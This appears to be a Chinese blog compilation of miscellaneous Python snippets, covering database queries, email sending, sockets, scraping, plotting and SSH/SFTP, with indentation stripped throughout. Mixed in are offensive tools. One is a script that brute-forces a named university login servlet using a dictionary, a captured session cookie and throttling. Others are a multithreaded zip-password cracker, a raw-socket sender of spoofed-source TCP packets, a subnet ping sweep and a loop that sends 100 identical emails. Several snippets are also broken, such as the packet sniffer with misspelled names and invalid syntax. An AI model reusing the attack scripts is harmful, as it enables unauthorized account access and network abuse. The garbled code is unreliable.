#coding:utf-8
#其实“8 位”只是显示一个字符需要的最小位数,而不是最大位数。
import pymysql,re
# 创建连接
conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='root',db='liu')
# 创建游标
cur = conn.cursor()
# 执行SQL,并返回收影响行数
#effect_row = cursor.execute("update hosts set host = '127.0.0.1'")
cur.execute("insert into gre(name,owner) values('dafa','dsfa')")
#insert into gre(name,owner) values('jerichen','gdsz');
cur.execute("SELECT * FROM gre")
for r in cur.fetchall():
if re.match(r"^ds*",r[1],re.I):
print r
else:
print "not found"
# 执行SQL,并返回受影响行数
#effect_row = cursor.execute("update hosts set host = '1.1.1.2' where nid > %s", (1,))
# 执行SQL,并返回受影响行数
#effect_row = cursor.executemany("insert into hosts(host,color_id)values(%s,%s)", [("1.1.1.11",1),("1.1.1.11",2)])
# 提交,不然无法保存新建或者修改的数据
conn.commit()
# 关闭游标
cur.close()
# 关闭连接
conn.close()
#coding=utf-8
from email.mime.text import MIMEText
from email.header import Header
from smtplib import SMTP_SSL
import sendmail
def s_mail():
#qq邮箱smtp服务器
host_server = 'smtp.qq.com'
#sender_qq为发件人的qq号码
sender_qq = '2584dfsa041'
#pwd为qq邮箱的授权码
pwd = 'aaaa'
#发件人的邮箱
sender_qq_mail = '258sfsdf6041@qq.com'
#收件人邮箱
receiver = '1608safsaf23@qq.com'
#邮件的正文内容
mail_content = '你好,现在在进行一项用python登录qq邮箱发邮件的测试 http://www.anquanquan.info/'
#邮件标题
mail_title = '牛伟伟'
#ssl登录
smtp = SMTP_SSL(host_server)
#set_debuglevel()是用来调试的。参数值为1表示开启调试模式,参数值为0关闭调试模式
smtp.set_debuglevel(1)
smtp.ehlo(host_server)
smtp.login(sender_qq,pwd)
msg = MIMEText(mail_content, "plain", 'utf-8')
msg["Subject"] = Header(mail_title, 'utf-8')
msg["From"] = sender_qq_mail
msg["To"] = receiver
smtp.sendmail(sender_qq_mail, receiver, msg.as_string())
smtp.quit()
#print(type(sender_qq))
if __name__ == '__main__':
for i in range(100):
s_mail()
# coding=UTF-8"
import subprocess
import re
import threading
'''
s='TTLdfaf ttl TTL'
if re.search('TTL','fassf TTLasdasd fsaf'):
print('yes')
else:
print('no')
'''
def ip_scan(i):
cmd='ping 192.168.100.'+str(i)+'\n'
PIDS=subprocess.getstatusoutput(cmd)
#print(PIDS)
#print(PIDS[0])
#print('PIDS ',type(PIDS))
#print('PIDS[1]')
if re.search('TTL',PIDS[1]):
print('192.168.100.'+str(i)+' is online')
else:
#print('192.168.43.'+str(i)+' is no online')
pass
#print(len(cmd))
#print(cmd)
def main():
for i in range(1,255):
t = threading.Thread(target=ip_scan,args=(i,))#参数传递格式
t.start()
#t.join()
#ip_scan(cmd)
if __name__ == '__main__':
main()
import socket
HOST = '192.168.43.73'
PORT = 10882
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(5)
conn, addr = s.accept()
print('Client\'s Address:', addr)
while True:
data = conn.recv(1024)
print("Receive Data:",data.decode('utf-8'))
if not data:
break
conn.sendall(data)
conn.close()
# coding=UTF-8
import socket
HOST = '192.168.43.73'
PORT = 10882
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = "hello!"
while data:
s.sendall(data.encode('utf-8'))
data = s.recv(512)
print("Receive from server:\n",data.decode('utf-8'))
data = input('please input a info:\n')
s.close()
import urllib2
url='https://www.baidu.com'
response=urllib2.urlopen(url)
print response
print response.read()
#coding=utf-8
from ctypes import *
import struct
import socket
import os,sys
host='192.168.43.73'
class IP(Structure):
_field_=[
('type',c_ubyte,4),
('headlengh',c_ubyte,4),
('dsf',c_ubyte),
('tl',c_ushort),
('iden',c_ushort),#('iden',c_uchar),
('flg',c_ubyte),
('offset',c_ubyte),
('ttl',c_ubyte),
('pro_num',c_ubyte),
('chk',c_ushort),#('chk',c_uchars),
('sip',c_ulong),
('dip',c_ulong)
]
def __new__(self,socket_buffer=None):
return self.from_copy_buffer(socket_buffer)
def __init__(self, socket_buffer=None):
self.protocol_map={1:"ICMP",6:"TCP",17:"UDP"}
self.s_ip=scoket.inet_ntoa(struct.pack('<L',self.sip))
self.d_ip=scoket.inet_ntoa(struct.pack('<L',self.dip))
try:
self.protocol=self.protocol_map[pro_num]
except:
self.protocol=str(self.pro_num)
def ip_header():
s = socket.socket(socket.AF_INET,socket.SOCK_ROW)
s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)
s.bind(host,0)
if os.name = 'nt':
s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
while True:
buffer = s.recv(65535)[0][0:20]
ipheader = IP(buffer)
nettype = {'06':'TCP','17':'UDP'}
if ipheader.pro in nettype.value:
ipheader_pro=nettype[ipheader.pro]
print 'recvfrom %s %s %s'%(ipheader.type,ipheader.headlengh,ipheader_pro)
else:
s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
def main():
ip_header()
if __name__ == '__main__':
main()
# coding = utf-8
from selenium import webdriver
browser = webdriver.Firefox()
browser.get("https://passport.csdn.net/account/login?ref=toolbar")
browser.find_element_by_id("username").send_keys("")
browser.find_element_by_id("password").send_keys(" ")
browser.find_element_by_class_name("logging").click()
#browser.quit()
#coding=utf-8
import sys
import socket
from impacket import ImpactDecoder, ImpactPacket
def main():
if len(sys.argv) < 3:
print "Use: %s <src ip> <dst ip>" % sys.argv[0]
print "Use: %s <src ip> <dst ip> <cnt>" % sys.argv[0]
sys.exit(1)
elif len(sys.argv) == 3:
src = sys.argv[1]
dst = sys.argv[2]
cnt = 1
elif len(sys.argv) ==4:
src = sys.argv[1]
dst = sys.argv[2]
cnt = sys.argv[3]
else:
print "Input error!"
sys.exit(1)
#print src, dst
ip = ImpactPacket.IP()
ip.set_ip_src(src)
ip.set_ip_dst(dst)
# Create a new ICMP packet of type ECHO.
icmp = ImpactPacket.ICMP()
tcp = ImpactPacket.TCP()
tcp.set_th_sport(5596)
tcp.set_th_dport(80)
tcp.set_th_seq(1)
tcp.set_th_ack(1)
tcp.set_th_flags(0x18)
tcp.set_th_win(64)
#tcp.contains( ImpactPacket.Data("GET /att/DIYLife/41264/528 HTTP/1.1\r\nHost: 192.168.111.1\r\nAccept-Encoding: identity\r\n\r\n"))
tcp.contains( ImpactPacket.Data("GET HTTP/1.1\r\nHost: 183.232.231.172\r\nAccept-Encoding: identity\r\n\r\n"))
ip.contains(tcp)
# Open a raw socket. Special permissions are usually required.
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
seq_id = 0
while cnt >= 1:
# Calculate its checksum.
seq_id = seq_id + 1
tcp.set_th_seq(seq_id)
tcp.calculate_checksum()
# Send it to the target host.
s.sendto(ip.get_packet(),(dst,80))
cnt= cnt -1
if __name__ == '__main__':
main()
#coding=utf-8
import urllib
import re,threading,time
x = 0
def getHtml(url):
page = urllib.urlopen(url)
html = page.read()
return html
def getImg(html):
global x
reg = r'img src="(.+?\.jpg)"'
imgre = re.compile(reg)
imglist = re.findall(imgre,html)
for imgurl in imglist:
try:
urllib.urlretrieve(imgurl,'%s.jpg' % x)
x+=1
#time.sleep(0.1)
except:
pass
url="http://tieba.baidu.com/"
for i in range(1400,1500):
urll=url+str(i)+".html"
html=getHtml(urll)
t=threading.Thread(target=getImg,args=(html,))
t.start()
#一维图
import matplotlib.pyplot as plt
from numpy.random import randn
fig=plt.figure()
fig=plt.figure(figsize=(8,4))
ax1=fig.add_subplot(2,2,1)
ax1=fig.add_subplot(2,2,2)
ax1=fig.add_subplot(2,2,3)
#plt.bar(randn(500).cumsum())
l=[]
for i in range(250):
l.append(i)
plt.title('hello!')
plt.plot(l,'k--')
#plt.legend(loc='upper left')
plt.show()
#coding: utf-8
import os
import zipfile
import optparse
from threading import Thread
def extractFile(zFile,password):
#print(password)
try:
zFile.extractall(pwd=password)
print'[+] Found password :%s'%password + '\n'
except:
pass
def main():
parser = optparse.OptionParser('usage %prog -f <zipfile> -d <dictionary>')
parser.add_option('-f', dest='zname', type='string',help='specify zip file')
parser.add_option('-d', dest='dname', type='string',help='specify dictionary file')
(options, args) = parser.parse_args()
if (options.zname == None) | (options.dname == None):
print(parser.usage)
exit(0)
else:
zname = options.zname
dname = options.dname
zFile = zipfile.ZipFile(zname) #打开压缩文件
passFile = open(dname)
for line in passFile.readlines():
password = line.strip('\r\n').encode('gbk')
t = Thread(target=extractFile, args=(zFile, password,))
t.start()
t.join()
#Join的作用是众所周知的,阻塞进程直到线程执行完毕。通用的做法是我们启动一批线程,
#最后join这些线程结束;此处join的原理就是依次检验线程池中的线程是否结束,没有结束
#就阻塞直到线程结束,如果结束则跳转执行下一个线程的join函数。
#extractFile(zFile, password)
if __name__ == '__main__':
main()
#coding: utf-8
import optparse
def main():
parser = optparse.OptionParser('usage: %prog –H <target host> -p <target post>')
#%prog为脚本名称,提示信息
parser.add_option('-H',dest='tgtHost', type='string', help='specify target')
'''
添加选项,dest是存储的变量,add_option用来加入选项,action是有store,store_true,
store_false等,default是缺省值,store也有其它的两种形式:store_true和store_false ,
用于处理带命令行参数后面不带值的情况。help是帮助提示
'''
parser.add_option('-p', dest='tgtPort', type='int', help='specify target')
#parser.add_option('-k', dest='tgtkort', type='int', help='specify target')
#最后通过parse_args()函数的解析,获得选项,如options.tgtHost的值
(options, args) = parser.parse_args()#option为实例,args为列表
tgtHost = options.tgtHost
tgtPort = options.tgtPort
#args.append(tgtHost)
args.append(tgtPort)
print(options)
print(type(options))
#print(tgtHost)
#print(tgtPort)
print(args)
print(type(args))
print(args) #args为空,或存储命令选项参数以后的值,比如:-p 80 90
#print(tgtHost)
#for tp in args:
#print(tp)
#for i in range(2):
#print(options)
#for th in args:
#print(th)
#print(args[2])
if __name__ == '__main__':
main()
# -*- coding: utf-8 -*-
import socket
import time
strPost = "POST /bgdadmin/servlet/studentLogin HTTP/1.1\r\n" \
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n" \
"Referer: http://yjsgl.bjut.edu.cn/bgdadmin/servlet/studentMain\r\n" \
"Accept-Language: zh-cn\r\n" \
"Content-Type: application/x-www-form-urlencoded\r\n" \
"Accept-Encoding: gzip, deflate\r\n" \
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n" \
"Host: yjsgl.bjut.edu.cn\r\n" \
"Content-Length: 47\r\n" \
"Connection: Keep-Alive\r\n" \
"Cache-Control: no-cache\r\n" \
"Cookie: JSESSIONID=DgxvXnRhLdSn65nfkyXv4wGXr8xQWb4Vmhkq7GfdhRz3LpdwJ4WC!-611812863\r\n\r\n" \
"TYPE=AUTH&glnj=&USER=xxxxxxxxxx&PASSWORD="
i = 0
target_host = '172.21.96.120'
target_port = 80
for password in open('superdic.txt'):
i = i + 1
if i > 100:
time.sleep(30)
i = 0
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))
strPacket = strPost + password
client.send(strPacket)
response = client.recv(1024)
time.sleep(0.3)
if response.find('Location') != -1:
print password
break
#coding=utf-8
import requests,time
from bs4 import BeautifulSoup
def get_captcha(data):
with open('captcha.gif','wb') as fp:
fp.write(data)
return input('输入验证码:')
def login(username,password,oncaptcha):
sessiona = requests.Session()
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0'}
_xsrf = BeautifulSoup(sessiona.get('https://www.zhihu.com/#signin',headers=headers).content,'html.parser').find('input',attrs={'name':'_xsrf'}).get('value')
captcha_content = sessiona.get('https://www.zhihu.com/captcha.gif?r=%d&type=login'%(time.time()*1000),headers=headers).content
data = {
"_xsrf":_xsrf,
"email":username,
"password":password,
"remember_me":True,
"captcha":oncaptcha(captcha_content)
}
resp = sessiona.post('https://www.zhihu.com/login/email',data,headers=headers).content
print(resp)
return resp
if __name__ == "__main__":
login('your_email','your_password',get_captcha)
# -*- coding:utf-8 -*-
import paramiko
def sftp_upload_file(server_path, local_path):
try:
t = paramiko.Transport((host, 22))
t.connect(username=user, password=password)
sftp = paramiko.SFTPClient.from_transport(t)
sftp.put(local_path, server_path)
t.close()
except Exception, e:
print e
if __name__ == '__main__':
sftp_upload_file("/root/bug.txt", "D:/bug.txt")
# -*- coding:utf-8 -*-
import paramiko
def sftp_down_file(server_path, local_path):
try:
t = paramiko.Transport((host, 22))
t.connect(username=user, password=password)
sftp = paramiko.SFTPClient.from_transport(t)
sftp.get(server_path, local_path)
t.close()
except Exception, e:
print e
if __name__ == '__main__':
sftp_down_file("/root/test.txt", "D:/text.txt")
import paramiko
# 创建SSH对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接服务器
ssh.connect(hostname='c1.salt.com', port=22, username='GSuser', password='123')
# 执行命令
stdin, stdout, stderr = ssh.exec_command('ls')
# 获取命令结果
result = stdout.read()
# 关闭连接
ssh.close()
python 常用代码块
最新推荐文章于 2024-01-31 06:31:41 发布